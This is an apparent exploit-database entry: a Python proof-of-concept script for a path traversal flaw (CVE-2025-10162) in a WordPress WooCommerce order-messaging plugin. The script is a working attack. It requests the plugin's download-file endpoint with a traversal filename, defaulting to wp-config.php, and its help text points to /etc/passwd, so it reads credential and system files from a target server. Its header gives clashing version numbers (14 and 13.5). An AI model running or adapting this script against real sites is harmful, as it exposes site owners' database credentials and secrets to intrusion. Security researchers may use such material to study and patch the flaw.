WordPress OrderConvo 14 - Path Traversal

# Exploit Title: WordPress OrderConvo 14 - Path Traversal
# Date: 05-31-2026
# Exploit Author: Diamorphine
# Vendor Homepage: https://www.najeebmedia.com/
# Software Link: https://wordpress.org/plugins/admin-and-client-message-after-order-for-woocommerce/
# Version: 13.5
# Tested on: Debian
# CVE : CVE-2025-10162

import httpx
import asyncio
import argparse
from urllib.parse import urljoin
import sys


async def main(base_url, file):
	async with httpx.AsyncClient(verify=False) as client:
		try:
			print('[*] Checking connection to target')
			req = await client.get(url=base_url)
			if req.status_code == 200:
				print('[+] The target is alive, exploiting\n')
			else:
				print(f'[-] Unable to connect to the target. Code: {req.status_code}')
				sys.exit()
		except:
			print(f'[-] Problem with connection to the target.')
			sys.exit()

		exp_url = urljoin(base_url, f'wp-json/wooconvo/v1/download-file?order_id=1&filename={file}')
		r = await client.get(url=exp_url)
		if len(r.text) != 0:
			print(r.text)
		else:
			print("[*] Unable to read file")

parser = argparse.ArgumentParser(description="Exploit for CVE-2025-10162")

parser.add_argument("-u", "--url", required=True, help="Target URL, e.g. https://test.local")
parser.add_argument("-f", "--filename", default="../../../../wp-config.php", help="Path to the file to read. Note: You must use deep path traversal sequences (e.g., ../../../../../etc/passwd) to break out of the web root and access sensitive system or WordPress files. (Default: ../../../../wp-config.php)")

args = parser.parse_args()

if __name__ == '__main__':
	asyncio.run(main(args.url, args.filename))